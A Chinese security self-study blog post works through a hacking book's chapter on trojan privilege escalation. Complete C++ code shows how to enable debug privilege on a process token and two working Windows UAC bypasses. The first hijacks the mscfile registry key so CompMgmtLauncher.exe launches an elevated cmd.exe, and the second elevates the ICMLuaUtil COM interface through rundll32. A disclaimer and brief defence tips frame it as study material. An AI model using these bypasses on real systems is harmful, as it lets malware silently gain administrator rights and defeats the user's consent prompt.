主頁 > 軟體設計 > [網路安全自學篇] 九十四.《Windows黑客編程技術詳解》之提權技術(令牌權限提升和Bypass UAC)

[網路安全自學篇] 九十四.《Windows黑客編程技術詳解》之提權技術(令牌權限提升和Bypass UAC)

2020-09-14 03:43:01 軟體設計

這是作者網路安全自學教程系列,主要是關于安全工具和實踐操作的在線筆記,特分享出來與博友們學習,希望您喜歡,一起進步,這篇文章將帶著大家來學習《Windows黑客編程技術詳解》,其作者是甘迪文老師,推薦大家購買來學習,作者將采用實際編程和圖文結合的方式進行分享,并且會進一步補充相關知識點,第六篇文章主要介紹木馬病毒提權技術,包括行程訪問令牌權限提升和Bypass UAC,希望對您有所幫助,

如果把權限看作是門禁卡,那么計算機便是一棟擁有許多門禁的大樓,要想進入一個房間或辦公室,則需要擁有對應房間的門禁卡,對于低權限,即擁有很少數量的門禁卡,能去的也只有廁所之類的無關緊要的地方,無法進入層層設防的保密辦公室,這樣,即使病毒木馬成功混入計算機這所大樓,如果沒有足夠的權限,也不能竊取或修改計算機中的關鍵資料,殺傷力有限,

因此,提權技術(從低權限獲取高權限的技術)成為大多數病毒木馬必備技術,

在這里插入圖片描述

計算機上有哪些操作需要提權呢?作業系統處于安全考慮,對不同的作業系統劃分了權限,例如創建或修改系統服務、修改HKEY_LOCAL_MACHINE注冊表鍵或重啟移動檔案等操作,均需要管理員權限,普通權限操作會失敗,

同時,從VISTA系統引入了UAC(用戶賬戶控制),涉及權限操作時都會有彈窗提示,只有用戶點擊確認后,方可繼續操作,所以,VISTA之后的提權操作主要是針對UAC不彈窗靜默提權,即Bypass UAC,

在這里插入圖片描述

文章目錄

  • 一.行程訪問令牌權限提升
    • 1.函式介紹
    • 2.實作原理
    • 3.編程實作
  • 二.Bypass UAC
    • 1.基于白名單程式的Bypass UAC
    • 2.基于COM組件介面的Bypass UAC
  • 三.總結


作者的github資源:
軟體安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
Windows-Hacker:https://github.com/eastmountyxz/Windows-Hacker-Exp


宣告:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網路需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護,

前文學習:
[網路安全自學篇] 一.入門筆記之看雪Web安全學習及異或解密示例
[網路安全自學篇] 二.Chrome瀏覽器保留密碼功能滲透決議及登錄加密入門筆記
[網路安全自學篇] 三.Burp Suite工具安裝配置、Proxy基礎用法及暴庫示例
[網路安全自學篇] 四.實驗吧CTF實戰之WEB滲透和隱寫術解密
[網路安全自學篇] 五.IDA Pro反匯編工具初識及逆向工程解密實戰
[網路安全自學篇] 六.OllyDbg動態分析工具基礎用法及Crakeme逆向
[網路安全自學篇] 七.快手視頻下載之Chrome瀏覽器Network分析及Python爬蟲探討
[網路安全自學篇] 八.Web漏洞及埠掃描之Nmap、ThreatScan和DirBuster工具
[網路安全自學篇] 九.社會工程學之基礎概念、IP獲取、IP物理定位、檔案屬性
[網路安全自學篇] 十.論文之基于機器學習演算法的主機惡意代碼
[網路安全自學篇] 十一.虛擬機VMware+Kali安裝入門及Sqlmap基本用法
[網路安全自學篇] 十二.Wireshark安裝入門及抓取網站用戶名密碼(一)
[網路安全自學篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及資料流追蹤和影像抓取(二)
[網路安全自學篇] 十四.Python攻防之基礎常識、正則運算式、Web編程和套接字通信(一)
[網路安全自學篇] 十五.Python攻防之多執行緒、C段掃描和資料庫編程(二)
[網路安全自學篇] 十六.Python攻防之弱口令、自定義字典生成及網站暴庫防護
[網路安全自學篇] 十七.Python攻防之構建Web目錄掃描器及ip代理池(四)
[網路安全自學篇] 十八.XSS跨站腳本攻擊原理及代碼攻防演示(一)
[網路安全自學篇] 十九.Powershell基礎入門及常見用法(一)
[網路安全自學篇] 二十.Powershell基礎入門及常見用法(二)
[網路安全自學篇] 二十一.GeekPwn極客大賽之安全攻防技術總結及ShowTime
[網路安全自學篇] 二十二.Web滲透之網站資訊、域名資訊、埠資訊、敏感資訊及指紋資訊收集
[網路安全自學篇] 二十三.基于機器學習的惡意請求識別及安全領域中的機器學習
[網路安全自學篇] 二十四.基于機器學習的惡意代碼識別及人工智能中的惡意代碼檢測
[網路安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防御初探
[網路安全自學篇] 二十六.Shodan搜索引擎詳解及Python命令列呼叫
[網路安全自學篇] 二十七.Sqlmap基礎用法、CTF實戰及請求引數設定(一)
[網路安全自學篇] 二十八.檔案上傳漏洞和Caidao入門及防御原理(一)
[網路安全自學篇] 二十九.檔案上傳漏洞和IIS6.0決議漏洞及防御原理(二)
[網路安全自學篇] 三十.檔案上傳漏洞、編輯器漏洞和IIS高版本漏洞及防御(三)
[網路安全自學篇] 三十一.檔案上傳漏洞之Upload-labs靶場及CTF題目01-10(四)
[網路安全自學篇] 三十二.檔案上傳漏洞之Upload-labs靶場及CTF題目11-20(五)
[網路安全自學篇] 三十三.檔案上傳漏洞之繞狗一句話原理和繞過安全狗(六)
[網路安全自學篇] 三十四.Windows系統漏洞之5次Shift漏洞啟動計算機
[網路安全自學篇] 三十五.惡意代碼攻擊溯源及惡意樣本分析
[網路安全自學篇] 三十六.WinRAR漏洞復現(CVE-2018-20250)及惡意軟體自啟動劫持
[網路安全自學篇] 三十七.Web滲透提高班之hack the box在線靶場注冊及入門知識(一)
[網路安全自學篇] 三十八.hack the box滲透之BurpSuite和Hydra密碼爆破及Python加密Post請求(二)
[網路安全自學篇] 三十九.hack the box滲透之DirBuster掃描路徑及Sqlmap高級注入用法(三)
[網路安全自學篇] 四十.phpMyAdmin 4.8.1后臺檔案包含漏洞復現及詳解(CVE-2018-12613)
[網路安全自學篇] 四十一.中間人攻擊和ARP欺騙原理詳解及漏洞還原
[網路安全自學篇] 四十二.DNS欺騙和釣魚網站原理詳解及漏洞還原
[網路安全自學篇] 四十三.木馬原理詳解、遠程服務器IPC$漏洞及木馬植入實驗
[網路安全自學篇] 四十四.Windows遠程桌面服務漏洞(CVE-2019-0708)復現及詳解
[網路安全自學篇] 四十五.病毒詳解及批處理病毒制作(自啟動、修改密碼、定時關機、藍屏、行程關閉)
[網路安全自學篇] 四十六.微軟證書漏洞CVE-2020-0601 (上)Windows驗證機制及可執行檔案簽名復現
[網路安全自學篇] 四十七.微軟證書漏洞CVE-2020-0601 (下)Windows證書簽名及HTTPS網站劫持
[網路安全自學篇] 四十八.Cracer第八期——(1)安全術語、Web滲透流程、Windows基礎、注冊表及黑客常用DOS命令
[網路安全自學篇] 四十九.Procmon軟體基本用法及檔案行程、注冊表查看
[網路安全自學篇] 五十.虛擬機基礎之安裝XP系統、檔案共享、網路快照設定及Wireshark抓取BBS密碼
[網路安全自學篇] 五十一.惡意樣本分析及HGZ木馬控制目標服務器
[網路安全自學篇] 五十二.Windows漏洞利用之堆疊溢位原理和堆疊保護GS機制
[網路安全自學篇] 五十三.Windows漏洞利用之Metasploit實作堆疊溢位攻擊及反彈shell
[網路安全自學篇] 五十四.Windows漏洞利用之基于SEH例外處理機制的堆疊溢位攻擊及shell提取
[網路安全自學篇] 五十五.Windows漏洞利用之構建ROP鏈繞過DEP并獲取Shell
[網路安全自學篇] 五十六.i春秋老師分享小白滲透之路及Web滲透技術總結
[網路安全自學篇] 五十七.PE檔案逆向之什么是數字簽名及Signtool簽名工具詳解(一)
[網路安全自學篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反彈shell
[網路安全自學篇] 五十九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及shell深度提權
[網路安全自學篇] 六十.Cracer第八期——(2)五萬字總結Linux基礎知識和常用滲透命令
[網路安全自學篇] 六十一.PE檔案逆向之數字簽名詳細決議及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[網路安全自學篇] 六十二.PE檔案逆向之PE檔案決議、PE編輯工具使用和PE結構修改(三)
[網路安全自學篇] 六十三.hack the box滲透之OpenAdmin題目及蟻劍管理員提權(四)
[網路安全自學篇] 六十四.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現及詳解
[網路安全自學篇] 六十五.Vulnhub靶機滲透之環境搭建及JIS-CTF入門和蟻劍提權示例(一)
[網路安全自學篇] 六十六.Vulnhub靶機滲透之DC-1提權和Drupal漏洞利用(二)
[網路安全自學篇] 六十七.WannaCry勒索病毒復現及分析(一)Python利用永恒之藍及Win7勒索加密
[網路安全自學篇] 六十八.WannaCry勒索病毒復現及分析(二)MS17-010利用及病毒決議
[網路安全自學篇] 六十九.宏病毒之入門基礎、防御措施、自發郵件及APT28樣本分析
[網路安全自學篇] 七十.WannaCry勒索病毒復現及分析(三)蠕蟲傳播機制分析及IDA和OD逆向
[網路安全自學篇] 七十一.深信服分享之外部威脅防護和勒索病毒對抗
[網路安全自學篇] 七十二.逆向分析之OllyDbg動態除錯工具(一)基礎入門及TraceMe案例分析
[網路安全自學篇] 七十三.WannaCry勒索病毒復現及分析(四)蠕蟲傳播機制全網原始碼詳細解讀
[網路安全自學篇] 七十四.APT攻擊檢測溯源與常見APT組織的攻擊案例
[網路安全自學篇] 七十五.Vulnhub靶機滲透之bulldog資訊收集和nc反彈shell(三)
[網路安全自學篇] 七十六.逆向分析之OllyDbg動態除錯工具(二)INT3斷點、反除錯、硬體斷點與記憶體斷點
[網路安全自學篇] 七十七.惡意代碼與APT攻擊中的武器(強推Seak老師)
[網路安全自學篇] 七十八.XSS跨站腳本攻擊案例分享及總結(二)
[網路安全自學篇] 七十九.Windows PE病毒原理、分類及感染方式詳解
[網路安全自學篇] 八十.WHUCTF之WEB類解題思路WP(代碼審計、檔案包含、過濾繞過、SQL注入)
[網路安全自學篇] 八十一.WHUCTF之WEB類解題思路WP(檔案上傳漏洞、冰蝎蟻劍、反序列化phar)
[網路安全自學篇] 八十二.WHUCTF之隱寫和逆向類解題思路WP(文字解密、圖片解密、佛語解碼、冰蝎流量分析、逆向分析)
[網路安全自學篇] 八十三.WHUCTF之CSS注入、越權、csrf-token竊取及XSS總結
[網路安全自學篇] 八十四.《Windows黑客編程技術詳解》之VS環境配置、基礎知識及DLL延遲加載詳解
[網路安全自學篇] 八十五.《Windows黑客編程技術詳解》之注入技術詳解(全域鉤子、遠執行緒鉤子、突破Session 0注入、APC注入)
[網路安全自學篇] 八十六.威脅情報分析之Python抓取FreeBuf網站APT文章(上)
[網路安全自學篇] 八十七.惡意代碼檢測技術詳解及總結
[網路安全自學篇] 八十八.基于機器學習的惡意代碼檢測技術詳解
[網路安全自學篇] 八十九.PE檔案決議之通過Python獲取時間戳判斷軟體來源地區
[網路安全自學篇] 九十.遠控木馬詳解及APT攻擊中的遠控
[網路安全自學篇] 九十一.阿里云搭建LNMP環境及實作PHP自定義網站IP訪問 (1)
[網路安全自學篇] 九十二.《Windows黑客編程技術詳解》之病毒啟動技術創建行程API、突破SESSION0隔離、記憶體加載詳解(3)
[網路安全自學篇] 九十三.《Windows黑客編程技術詳解》之木馬開機自啟動技術(注冊表、計劃任務、系統服務)


前文欣賞:
[滲透&攻防] 一.從資料庫原理學習網路攻防及防止SQL注入
[滲透&攻防] 二.SQL MAP工具從零解讀資料庫及基礎用法
[滲透&攻防] 三.資料庫之差異備份及Caidao利器
[滲透&攻防] 四.詳解MySQL資料庫攻防及Fiddler神器分析資料包



一.行程訪問令牌權限提升

病毒木馬想要實作一些關鍵的系統操作時,往往要求執行操作的行程擁有足夠的權限,比如,通過呼叫ExitWindows函式實作關機或重啟操作時,它就要求行程要有 SE_SHUTDOWN_NAME 權限,否則會忽視操作不執行,這時,程式能夠做的便是按照要求提升行程群賢,第一部分通過介紹提升行程訪問令牌的權限,

1.函式介紹

(1) OpenProcessToken函式
打開與行程關聯的訪問令牌,

BOOL OpenProcessToken(
	HANDLE ProcessHandle, //要修改訪問權限的行程句柄
	DWORD DesiredAccess,  //訪問掩碼,要對令牌進行何種操作
	PHANDLE TokenHandle   //回傳的訪問令牌指標
)

(2) LookupPrivilegevalue函式
查看系統權限的特權值,回傳資訊到一個LUID結構體,

BOOL LookupPrivilegevalue(
	LPCTSTR lpSystemName,   //指向要獲取特權值的系統名稱
	LPCTSTR lpName,         //特權名稱
	PLUID lpLuid            //指向LUID變數的指標
);

(3) AdjustTokenPrivileges函式
啟用或禁用指定訪問令牌中的權限,在訪問令牌中啟用或禁用權限時需要 TOKEN_ADJUST_PRIVILEGES 訪問,

BOOL AdjustTokenPrivileges(
	HANDLE TokenHandle,         //handle to token
	BOOL DisableAllPrivileges,  //disabling option
	PTOKEN_PRIVILEGES NewState, //privilege information
	DWORD BufferLength,         //size of buffer
	PTOKEN_PRIVILEGES PreviousState, //original state buffer
	PDWORD ReturnLength         //required buffer size
);

其中,操作型別及特權屬性Attributes可以是如下常量:

SE_PRIVILEGE_ENABLED            //使特權有效
SE_PRIVILEGE_ENABLED_BY_DEFAULT //使特權默認有效
SE_PRIVILEGE_REMOVED            //移除該特權
SE_PRIVILEGE_USED_FOR_ACCESS    //取得物件或服務的訪問權


2.實作原理

(1) 使用場景
病毒木馬想要實作一些關鍵的系統操作時,并且行程訪問令牌權限提升的實作步驟較為固定,

(2) 實作流程

  • 打開行程訪問令牌
  • 取得特權的LUID值
  • 調整訪問令牌特權值

首先獲取行程的訪問令牌,然后將訪問令牌的權限修改為指定權限,但是系統內部并不直接識別權限名稱,而是識別LUID值,所以需要根據權限名稱獲取對應的LUID值,之后傳遞給系統,實作行程訪問令牌權限的修改,

(3) 實作步驟

  • 獲取指定行程的訪問令牌,需要獲取權限的令牌句柄為 TOKEN_ADJUST_PRIVILEGES
    OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)

  • 獲取本地系統指定特權名稱的LUID值,LUID值相當于該特權的身份標號
    LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue)

  • 創建一個新的行程令牌特權結構體 TOKEN_PRIVILEGES,并對其進行賦值,設定新特權的數量、特權對應的LUID值以及特權的屬性狀態
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED

  • 呼叫 AdjustTokenPrivileges 函式對行程令牌的特權進行修改
    AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL)



3.編程實作

第一步,新建C++空專案,專案名稱為“Tiquan01”,

在這里插入圖片描述

第二步,新建源檔案“main.cpp”,

在這里插入圖片描述

第三步,撰寫代碼獲取當前行程號,

#include<windows.h>
#include<string.h>
#include<iostream>
using namespace std;

#ifdef _WIN32
#include <process.h>
#else
#include <unistd.h>
#endif

//主函式
int main(int argc, char* argv[])
{
	//獲取當前行程號
	int iPid = (int)_getpid();
	std::cout << "The process id is: " << iPid << std::endl;
	system("PAUSE");
	return 0;
}

輸出結果如下圖所示,可以看到我們的程式Tiquan01.exe行程為18512,

在這里插入圖片描述

第四步,通過子函式實作行程訪問令牌的提升權限,

#include<windows.h>
#include<string.h>
#include<iostream>
using namespace std;

#ifdef _WIN32
#include <process.h>
#else
#include <unistd.h>
#endif

//顯示錯誤資訊
void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}

/*----------------------------------------------------------------
    函式名:  CPrivilgeEscalationDlg::EnableDebugPrivilege
    回傳型別:  BOOL
    功能: 提升行程訪問令牌權限
    引數1: 需要提升權限的行程句柄
    引數2: 特權名稱
----------------------------------------------------------------*/
BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName)
{
	HANDLE hToken = NULL;
	LUID luidValue = { 0 };
	TOKEN_PRIVILEGES tokenPrivileges = { 0 };
	BOOL bRet = FALSE;
	DWORD dwRet = 0;

	//打開行程令牌并獲取具有 TOKEN_ADJUST_PRIVILEGES 權限的行程令牌句柄
	bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
	if (FALSE == bRet)
	{
		ShowError("OpenProcessToken");
		return FALSE;
	}
	//獲取本地系統的 pszPrivilegesName 特權的LUID值
	bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
	if (FALSE == bRet)
	{
		ShowError("LookupPrivilegeValue");
		return FALSE;
	}
	//設定提升權限資訊
	tokenPrivileges.PrivilegeCount = 1;
	tokenPrivileges.Privileges[0].Luid = luidValue;
	tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	//提升行程令牌訪問權限
	bRet = ::AdjustTokenPrivileges(
		hToken,                  //令牌句柄
		FALSE,                   //是否禁用權限
		&tokenPrivileges,        //新的特權的權限資訊
		0,                       //特權資訊大小
		NULL,                    //用來接收特權資訊當前狀態的buffer
		NULL                     //緩沖區大小
	);
	if (FALSE == bRet) {
		ShowError("AdjustTokenPrivileges");
		return FALSE;
	}
	else {
		//根據錯誤碼判斷是否特權都設定成功
		dwRet = ::GetLastError();
		if (ERROR_SUCCESS == dwRet)
		{
			return TRUE;
		}
		else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
		{
			ShowError("ERROR_NOT_ALL_ASSIGNED");
			return FALSE;
		}
	}

	return FALSE;
}

//主函式
int main(int argc, char* argv[])
{
	//獲取當前行程號
	int iPid = (int)_getpid();
	std::cout << "The process id is: " << iPid << std::endl;

	//修改當前行程令牌訪問權限
	if (FALSE == EnbalePrivileges(::GetCurrentProcess(), SE_DEBUG_NAME))
	{
		printf("Enable Privileges Error!\n");
	}
	printf("Enable Privileges OK!\n");

	system("PAUSE");
	return 0;
}

運行結果如下圖所示,注意需要以管理員權限運行,否則會提示相關錯誤,

在這里插入圖片描述

問題:怎么判斷我是否提權成功呢?

同時,編程程序中會遇到各種錯誤,請大家一定實際去撰寫代碼,學會谷歌百度獨立解決, 比如"const char *"型別的實參與“LPCWSTR”型別的形參不兼容,基本的解決方法如下:

  • 配置屬性 -> 常規 -> 字符集 -> 使用多位元組字符集
  • C/C++ -> SDL檢查-> 否
  • C/C++ -> 語言 -> 符合模式 -> 否

在這里插入圖片描述



二.Bypass UAC

UAC(User Account Control)是微軟在Windows VISTA以后版本中引入的一種安全機制,通過UAC,應用程式和任務可始終在非管理員賬戶的安全背景關系中運行,除非特別授予管理員級別的系統訪問權限,UAC可以阻止未授權的應用程式自動進行安裝,并防止無意地更改系統,

在這里插入圖片描述

UAC需要授權的動作包括:配置Windows Update、增加或洗掉用戶賬戶、改變用戶賬戶的型別、改變UAC設定、安裝ActiveX、安裝或移除程式、安裝設備驅動程式、設定家長控制、將檔案移動或復制到Program Files或Windows目錄、查看其他用戶檔案夾等,

觸發UAC時,系統會創建一個consent.exe行程,該行程通過白名單程式和用戶選擇來判斷是否創建管理員權限行程,請求行程將要請求的行程cmdline和行程路徑通過LPC介面傳遞給 appinfo 的 RAiLuanchAdminProcess 函式,流程如下:

  • 該函式首選驗證路徑是否在白名單中
  • 接著將結果傳遞給consent.exe行程
  • 該行程驗證請求行程的簽名以及發起者的權限是否符合要求后,決定是否彈出UAC視窗讓用戶確認
  • UAC視窗會創建新的安全桌面,屏蔽之前的界面,同時UAC視窗行程是系統權限行程,其他普通行程無法和其進行通信互動,用戶確認后,呼叫 CreateProcessAsUser 函式以管理員身份啟動請求的行程

病毒木馬如果想要實作更多的權限操作,那么就不得不繞過UAC彈窗,在沒有通知用戶的情況下,靜默地將程式的普通權限提升為管理員權限,從而使程式可以實作一些需要權限的操作,目前實作Bypass UAC主要有兩種方法:

  • 一種是利用白名單提權機制
  • 一種是利用COM組件介面技術


1.基于白名單程式的Bypass UAC

有些系統程式可以直接獲取管理員權限,而不觸發UAC彈框,這類程式成為白名單程式,例如:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等,這些白名單程式可以通過DLL劫持、注入或是修改注冊表執行命令的方式啟動目標程式,實作Bypass UAC提權操作,

下面選擇白名單程式 CompMgmtLauncher.exe 進行詳細分析,利用它實作Bypass UAC提權,分析的環境是64位Windows 10作業系統,使用的工具是行程監控器Procmon.exe,

第一步,在System32目錄下運行 CompMgmtLauncher.exe 程式,

在這里插入圖片描述

此時并沒有出現UAC彈窗就直接顯示計算機管理的視窗界面,

在這里插入圖片描述


第二步,使用procmon軟體監控該行程的所有操作,
主要是監控注冊表和檔案的操作,設定行程名為CompMgmtLauncher.exe過濾即可,

在這里插入圖片描述

輸出結果如下圖所示:

在這里插入圖片描述

第三步,分析該行程注冊表操作,
Procmon監控資料分析發現,計算機管理行程會先查詢注冊表中資料,

  • HKCU\Software\Classes\mscfile\shell\open\command

發現該路徑不存在后,繼續查詢注冊表中的資料并讀取,

  • HKCR\mscfile\shell\open\command(Default)

該注冊表路徑中存盤著mmc.exe行程的路徑資訊,如下圖所示,然后,計算機管理程式會根據讀取到的路徑啟動程式,顯示計算機管理的視窗界面,

疑惑:如何通過該軟體定位行程的執行邏輯或操作流程?感覺不是Procmon就能實作的,

在這里插入圖片描述

注冊表中內容對應如下:

  • %SystemRoot%\system32\mmc.exe “%1” %*

在這里插入圖片描述


第四步,手動構造注冊表路徑彈窗cmd命令列程式,
在 CompMgmtLauncher.exe 啟動的程序中,有一個關鍵的操作就是它會先讀取注冊表的資料,

  • HKCU\Software\Classes\mscfile\shell\open\command

我們開系統注冊表編輯器regedit.exe,查看相應路徑下的注冊表,發現該注冊表路徑確實不存在,所以,如果自己構造該注冊路徑,寫入啟動程式的路徑,這樣,CompMgmtLauncher.exe便會啟動該程式,為了驗證這個猜想,自己手動添加該注冊表路徑,并設定默認的資料為C:\Windows\System32\cmd.exe,

在這里插入圖片描述

注冊表修改如下:

在這里插入圖片描述

然后使用Procmon.exe進行監控并運行CompMgmtLauncher.exe,成功彈出cmd.exe命令列視窗,而且提示管理員權限,如下圖所示,注意左上角顯示的是“計算機管理”而不再是“CMD”,

在這里插入圖片描述

查看Procmon.exe的監控資料,CompMgmtLauncher.exe確實直接讀取注冊表路徑中的資料并啟動,


第五步,撰寫代碼實作相關功能,
利用CompMgmtLauncher.exe白名單程式Bypass UAC提權的原理講到這里,接下來撰寫程式創建并添加注冊表,并寫入自定義的程式路徑,

  • HKCU\Software\Classes\mscfile\shell\open\command(Default)

具體Bypass UAC代碼如下,運行計算機管理程式即可完成Bypass UAC提權操作,其中,HKEY_CURRENT_USER是用戶注冊表,程式使用普通權限即可進行修改,

Tiquan02完整代碼

#include<windows.h>
#include<string.h>
#include<iostream>
using namespace std;

//顯示錯誤資訊
void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
#ifdef _DEBUG
	::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
#endif
}

//修改注冊表
BOOL SetReg(char* lpszExePath)
{
	HKEY hKey = NULL;
	//創建項
	::RegCreateKeyEx(HKEY_CURRENT_USER, 
		"Software\\Classes\\mscfile\\Shell\\Open\\Command", 
		0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);

	if (NULL == hKey) {
		ShowError("RegCreateKeyEx");
		return FALSE;
	}
	//設定鍵值
	::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)lpszExePath, (1 + ::lstrlen(lpszExePath)));
	//關閉注冊表
	::RegCloseKey(hKey);
	return TRUE;
}

//主函式
int main(int argc, char* argv[])
{
	BOOL bRet = FALSE;
	PVOID OldValue = NULL;

	// 關閉檔案重定位
	::Wow64DisableWow64FsRedirection(&OldValue);

	// 修改注冊表
	bRet = SetReg("C:\\Windows\\System32\\cmd.exe");
	if (bRet) {
		// 運行 CompMgmtLauncher.exe
		system("CompMgmtLauncher.exe");
		printf("Run OK!\n");
	}
	else {
		printf("Run ERROR!\n");
	}

	// 恢復檔案重定位
	::Wow64RevertWow64FsRedirection(OldValue);
	system("pause");
	return 0;
}

輸出結果如下圖所示,360成功識別在劫持程式,點擊允許后及彈出對應的計算機管理CMD,

在這里插入圖片描述

該程式成功利用白名單程式實作了Bypass UAC提權操作,并向注冊表中寫入cmd程式并啟動,其實這也算一種利用白名單的程式劫持,最終效果如下圖所示,

在這里插入圖片描述



2.基于COM組件介面的Bypass UAC

COM提升名稱(COM Elevation Moniker)技術允許運行在用戶帳戶控制(UAC)下的應用程式,以提升權限的方法來激活COM類,最終提升COM介面權限,其中,ICMLuaUtil 介面提供了ShellExec方法來執行命令,創建指定行程,所以,接下來介紹的基于 ICMLuaUtil 介面的Bypass UAC的實作原理,它是利用COM提升名稱來對 ICMLuaUtil 介面提權,提權后通過呼叫ShellExec方法來創建指定行程,實作Bypass UAC操作,

使用權限提升COM類的程式必須調通過用CoCreateInstanceAsAdmin函式來創建COM類,COM提升名稱具體的實作代碼如下:

HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{
    BIND_OPTS3 bo;
    WCHAR wszCLSID[MAX_PATH] = { 0 };
    WCHAR wszMonikerName[MAX_PATH] = { 0 };
    HRESULT hr = 0;
    // 初始化COM環境
    ::CoInitialize(NULL);
    // 構造字串
    ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
    hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
    if (FAILED(hr))
    {
        return hr;
    }
    // 設定BIND_OPTS3
    ::RtlZeroMemory(&bo, sizeof(bo));
    bo.cbStruct = sizeof(bo);
    bo.hwnd = hWnd;
    bo.dwClassContext = CLSCTX_LOCAL_SERVER;
    // 創建名稱物件并獲取COM物件
    hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
    return hr;
}

執行上述代碼,即可創建并激活提升權限的COM類,ICMLuaUtil 介面通過上述方法創建后,直接呼叫ShellExec方法創建指定行程,完成Bypass UAC的操作,基于ICMLuaUtil介面Bypass UAC的具體實作代碼如下所示:

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
	HRESULT hr = 0;
	CLSID clsidICMLuaUtil = { 0 };
	IID iidICMLuaUtil = { 0 };
	ICMLuaUtil *CMLuaUtil = NULL;
	BOOL bRet = FALSE;

	do {
		::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
		::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

		// 提權
		hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
		if (FAILED(hr))
		{
			break;
		}

		// 啟動程式
		hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
		if (FAILED(hr))
		{
			break;
		}

		bRet = TRUE;
	}while(FALSE);

	// 釋放
	if (CMLuaUtil) 
	{
		CMLuaUtil->lpVtbl->Release(CMLuaUtil);
	}

	return bRet;
}

要注意的是,如果執行COM提升名稱(COM Elevation Moniker)代碼的程式身份是不可信的,則會觸發UAC彈窗;若可信,則不會觸發UAC彈窗,所以,要想Bypass UAC,則需要想辦法讓這段代碼在Windows的可信程式中運行,其中,可信程式有計算器、記事本、資源管理器、rundll32.exe等,

因此可以通過DLL注入或是劫持等技術,將這段代碼注入到這些可信程式的行程空間中執行,其中,最簡單的莫過于直接通過rundll32.exe來加載DLL,執行COM提升名稱的代碼,利用rundll32.exe來呼叫自定義DLL中的匯出函式,匯出函式的引數和回傳值是有特殊規定的,必須是如下形式,

// 匯出函式給rundll32.exe呼叫執行
void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)

將上述Bypass UAC的代碼寫在DLL的專案工程中,同時開發Test控制臺專案工程,負責并將BypassUAC函式匯出給rundll32.exe程式呼叫,完成Bypass UAC作業,

Test代碼如下:

#include "stdafx.h"
#include <Windows.h>


int _tmain(int argc, _TCHAR* argv[])
{
	char szCmdLine[MAX_PATH] = { 0 };
	char szRundll32Path[MAX_PATH] = "C:\\Windows\\System32\\rundll32.exe";
	char szDllPath[MAX_PATH] = "C:\\Users\\DemonGan\\Desktop\\BypassUAC2_Test\\Debug\\BypassUAC2_Test.dll";
	::sprintf_s(szCmdLine, "%s \"%s\" %s", szRundll32Path, szDllPath, "BypassUAC");
	::WinExec(szCmdLine, SW_HIDE);

	printf("Run OK.\n");
	system("pause");
	return 0;
}

在這里插入圖片描述

Bypass UAC啟動的是cmd.exe程式,所以,直接運行Test.exe即可看到cmd.exe命令列視窗,而且視窗標題有管理員字樣,運行結果如下圖所示,

在這里插入圖片描述



三.總結

寫到這里,這篇文章就介紹完畢,希望對您有所幫助,最后進行簡單的總結下,本文講解了行程訪問令牌權限提升和Bypass UAC(白名單和COM組件),其實,Bypass UAC的方法有很多,對于不同的Bypass UAC方法,具體的實作程序不太一樣,需要我們不斷去摸索,同時,隨著作業系統不斷升級更新,Bypass UAC技術可能不再適應(被打補丁),但也會有新的方法出現,大家可以去github上關注UACME開源專案,

最后補充防止Bypass UAC的方法:

  • 不要給普通用戶設定管理員權限
  • 在“更改用戶賬戶控制設定”中,將用戶賬戶控制(UAC)設定為“始終通知”

注意,不要覺得這些技術代碼實作容易就簡單,很多木馬、病毒、APT攻擊都用到了它們,不要小瞧任何一個技術,只有把這些技術組合起來威脅更大,同樣,作為反病毒或安全分析人員,我們需要了解各種技術,只有知道怎么攻擊和原理才能更好地防守,

